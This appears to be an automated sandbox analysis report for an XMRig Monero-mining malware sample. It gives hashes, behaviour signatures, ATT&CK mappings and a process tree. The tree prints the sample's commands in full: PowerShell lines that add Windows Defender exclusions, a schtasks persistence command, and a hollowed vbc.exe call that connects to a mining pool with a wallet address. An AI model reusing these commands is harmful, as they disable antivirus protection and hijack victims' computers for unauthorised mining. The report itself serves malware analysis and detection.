xmrig | 9cd84cf345a355c7fafb27dceeb9d6a8dc910f4812578edd396dd2fad42b5e1b

Analysis

max time kernel
93s
max time network
128s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
14/12/2022, 12:31

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General

Target
file.exe
Size 622KB
Sample221214-pp2emscg7t
SHA256 9cd84cf345a355c7fafb27dceeb9d6a8dc910f4812578edd396dd2fad42b5e1b
MD5 08f88319545aebad588078f56e46bc98
SHA1 9eb0729b4e15de5fdd1729b9ab4f21e5bf9fd1d9
SHA512 7ca0b6f4e6df4f37a2bd894f5d9b920c8cb9e7d9f4635091ccfb0800a797c424a698d8dbbc4b0dfe8615515bceef22a689ef41b33af0d8cfe4c44096b385e016
SSDEEP 12288:EU7fSCTHFfIdGe12RL40o+085UoM2wtrw/uBI2oylq9ORkDvbU+p:57fScC8e1j9+0gUoM1Ollylq9ORmjp
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 6 IoCs

miner

resource	yara_rule
behavioral2/memory/3000-192-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3000-193-0x0000000140343234-mapping.dmp	xmrig
behavioral2/memory/3000-194-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3000-195-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3000-197-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral2/memory/3000-204-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

Executes dropped EXE 1 IoCs

pid	Process
4360	JTPFKOXW.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation	JTPFKOXW.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4360 set thread context of 3000	4360	JTPFKOXW.exe	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
4892	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
4616	timeout.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
4600	file.exe
4600	file.exe
564	powershell.exe
2316	powershell.exe
2316	powershell.exe
564	powershell.exe
4360	JTPFKOXW.exe
4360	JTPFKOXW.exe
2320	powershell.exe
2964	powershell.exe
2964	powershell.exe
2320	powershell.exe
4360	JTPFKOXW.exe
4360	JTPFKOXW.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
668	Process not Found

Suspicious use of AdjustPrivilegeToken 8 IoCs

description	pid	Process
Token: SeDebugPrivilege	4600	file.exe
Token: SeDebugPrivilege	2316	powershell.exe
Token: SeDebugPrivilege	564	powershell.exe
Token: SeDebugPrivilege	4360	JTPFKOXW.exe
Token: SeDebugPrivilege	2320	powershell.exe
Token: SeDebugPrivilege	2964	powershell.exe
Token: SeLockMemoryPrivilege	3000	vbc.exe
Token: SeLockMemoryPrivilege	3000	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3000	vbc.exe

Suspicious use of WriteProcessMemory 32 IoCs

description	pid	Process	procid_target
PID 4600 wrote to memory of 2316	4600	file.exe	79
PID 4600 wrote to memory of 2316	4600	file.exe	79
PID 4600 wrote to memory of 564	4600	file.exe	81
PID 4600 wrote to memory of 564	4600	file.exe	81
PID 4600 wrote to memory of 3292	4600	file.exe	83
PID 4600 wrote to memory of 3292	4600	file.exe	83
PID 3292 wrote to memory of 4616	3292	cmd.exe	85
PID 3292 wrote to memory of 4616	3292	cmd.exe	85
PID 3292 wrote to memory of 4360	3292	cmd.exe	86
PID 3292 wrote to memory of 4360	3292	cmd.exe	86
PID 4360 wrote to memory of 2320	4360	JTPFKOXW.exe	87
PID 4360 wrote to memory of 2320	4360	JTPFKOXW.exe	87
PID 4360 wrote to memory of 2964	4360	JTPFKOXW.exe	88
PID 4360 wrote to memory of 2964	4360	JTPFKOXW.exe	88
PID 4360 wrote to memory of 4676	4360	JTPFKOXW.exe	91
PID 4360 wrote to memory of 4676	4360	JTPFKOXW.exe	91
PID 4676 wrote to memory of 4892	4676	cmd.exe	93
PID 4676 wrote to memory of 4892	4676	cmd.exe	93
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98
PID 4360 wrote to memory of 3000	4360	JTPFKOXW.exe	98

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4600
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:564
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp812B.tmp.bat""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\system32\timeout.exe
    timeout 3
    3⤵
    - Delays execution with timeout.exe
    PID:4616
- - C:\ProgramData\common\JTPFKOXW.exe
    "C:\ProgramData\common\JTPFKOXW.exe"
    3⤵
    - Executes dropped EXE
    - Checks computer location settings
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4360
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2320
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2964
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4676
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "JTPFKOXW" /tr "C:\ProgramData\common\JTPFKOXW.exe"
        5⤵
        Creates scheduled task(s)
        
        PID:4892
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
      4⤵
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:3000

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Scripting

T1064

Persistence

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Scripting

T1064

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

JTPFKOXW.exe

Path C:\ProgramData\common\JTPFKOXW.exe
Size 622KB
SHA256 9cd84cf345a355c7fafb27dceeb9d6a8dc910f4812578edd396dd2fad42b5e1b
MD5 08f88319545aebad588078f56e46bc98
SHA1 9eb0729b4e15de5fdd1729b9ab4f21e5bf9fd1d9
SHA512 7ca0b6f4e6df4f37a2bd894f5d9b920c8cb9e7d9f4635091ccfb0800a797c424a698d8dbbc4b0dfe8615515bceef22a689ef41b33af0d8cfe4c44096b385e016
SSDEEP 12288:EU7fSCTHFfIdGe12RL40o+085UoM2wtrw/uBI2oylq9ORkDvbU+p:57fScC8e1j9+0gUoM1Ollylq9ORmjp
MD5 SHA1 SHA512 SSDEEP

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JTPFKOXW.exe

Path C:\ProgramData\common\JTPFKOXW.exe
Size 622KB
SHA256 9cd84cf345a355c7fafb27dceeb9d6a8dc910f4812578edd396dd2fad42b5e1b
MD5 08f88319545aebad588078f56e46bc98
SHA1 9eb0729b4e15de5fdd1729b9ab4f21e5bf9fd1d9
SHA512 7ca0b6f4e6df4f37a2bd894f5d9b920c8cb9e7d9f4635091ccfb0800a797c424a698d8dbbc4b0dfe8615515bceef22a689ef41b33af0d8cfe4c44096b385e016
SSDEEP 12288:EU7fSCTHFfIdGe12RL40o+085UoM2wtrw/uBI2oylq9ORkDvbU+p:57fScC8e1j9+0gUoM1Ollylq9ORmjp
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 21e5d7ccf80a293e6ba30ed728846ca19c929c52b96e2c8d34e27cd2234f1d45
MD5 d28a889fd956d5cb3accfbaf1143eb6f
SHA1 157ba54b365341f8ff06707d996b3635da8446f7
SHA512 0b6d88deb9be85722e6a78d5886d49f2caf407a59e128d2b4ed74c1356f9928c40048a62731959f2460e9ff9d9feee311043d2a37abe3bb92c2b76a44281478c
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105
MD5 ce4540390cc4841c8973eb5a3e9f4f7d
SHA1 2293f30a6f4c9538bc5b06606c10a50ab4ecef8e
SHA512 2a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b
MD5 SHA1 SHA512

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tmp812B.tmp.bat

Path C:\Users\Admin\AppData\Local\Temp\tmp812B.tmp.bat
Size 143B
SHA256 7f79ed5c3cb2d7c1eaea2b8b61bd64bf808b21a189efab7d9fd6f40b9c1ed168
MD5 ea7209e17b5556ebc3db10f144a16a4a
SHA1 249a5c10a27ad310f0ef539005dac3f54c253c22
SHA512 ff3fe61b685da35f2db6355b98c77c46eab92054e3a6fe4fb2896651773d67d9f7f380dbfb08714d28ec8b583792dc8e65d179d3be62a9c4414e8cce03a4fa29
MD5 SHA1 SHA512

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memory/564-156-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/564-154-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/2316-159-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/2316-151-0x000001EBD8B20000-0x000001EBD8B42000-memory.dmp

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memory/2316-155-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/2320-185-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/2320-182-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/2964-183-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/2964-186-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/3000-195-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3000-196-0x0000021476F60000-0x0000021476F80000-memory.dmp

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memory/3000-197-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3000-200-0x0000021478980000-0x00000214789C0000-memory.dmp

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memory/3000-204-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3000-205-0x0000021476FB0000-0x0000021476FD0000-memory.dmp

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memory/3000-194-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3000-206-0x00000214789C0000-0x00000214789E0000-memory.dmp

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memory/3000-207-0x0000021476FB0000-0x0000021476FD0000-memory.dmp

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memory/3000-192-0x0000000140000000-0x00000001407C9000-memory.dmp

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memory/3000-208-0x00000214789C0000-0x00000214789E0000-memory.dmp

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memory/4360-170-0x0000000000350000-0x0000000000450000-memory.dmp

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memory/4360-198-0x0000000000350000-0x0000000000450000-memory.dmp

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memory/4360-169-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4360-203-0x0000000000350000-0x0000000000450000-memory.dmp

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memory/4360-171-0x00007FFBF24B0000-0x00007FFBF24DB000-memory.dmp

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memory/4360-172-0x0000000003580000-0x00000000035C2000-memory.dmp

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memory/4360-174-0x0000000000350000-0x0000000000450000-memory.dmp

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memory/4360-173-0x0000000000350000-0x0000000000450000-memory.dmp

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memory/4360-175-0x00007FFBD6A70000-0x00007FFBD6BBE000-memory.dmp

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memory/4360-166-0x00007FFBEF990000-0x00007FFBEF9A2000-memory.dmp

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memory/4360-167-0x00007FFBD60C0000-0x00007FFBD617D000-memory.dmp

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memory/4360-202-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4360-165-0x00007FFBF3200000-0x00007FFBF329E000-memory.dmp

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memory/4360-201-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4360-181-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4360-164-0x00007FFBD6180000-0x00007FFBD622A000-memory.dmp

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memory/4360-199-0x0000000003580000-0x00000000035C2000-memory.dmp

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memory/4360-168-0x00007FFBF33F0000-0x00007FFBF3591000-memory.dmp

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memory/4360-191-0x00007FFBF0F20000-0x00007FFBF0F5B000-memory.dmp

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memory/4360-187-0x00007FFBF2130000-0x00007FFBF2157000-memory.dmp

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memory/4360-188-0x00007FFBD5A20000-0x00007FFBD5A55000-memory.dmp

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memory/4360-189-0x00007FFBCEA70000-0x00007FFBCEB72000-memory.dmp

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memory/4360-190-0x00007FFBF4220000-0x00007FFBF428B000-memory.dmp

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memory/4600-138-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4600-139-0x0000000000F60000-0x0000000001060000-memory.dmp

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memory/4600-144-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4600-143-0x00007FFBD6900000-0x00007FFBD6A4E000-memory.dmp

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memory/4600-142-0x0000000000F60000-0x0000000001060000-memory.dmp

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memory/4600-141-0x00007FFBF24B0000-0x00007FFBF24DB000-memory.dmp

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memory/4600-140-0x0000000001060000-0x00000000010A2000-memory.dmp

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memory/4600-150-0x0000000001060000-0x00000000010A2000-memory.dmp

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memory/4600-148-0x0000000000F60000-0x0000000001060000-memory.dmp

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memory/4600-134-0x00007FFBF3200000-0x00007FFBF329E000-memory.dmp

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memory/4600-135-0x00007FFBEF990000-0x00007FFBEF9A2000-memory.dmp

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memory/4600-136-0x00007FFBD6A50000-0x00007FFBD6B0D000-memory.dmp

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memory/4600-133-0x00007FFBD6B10000-0x00007FFBD6BBA000-memory.dmp

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memory/4600-149-0x00007FFBD4DF0000-0x00007FFBD58B1000-memory.dmp

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memory/4600-137-0x00007FFBF33F0000-0x00007FFBF3591000-memory.dmp

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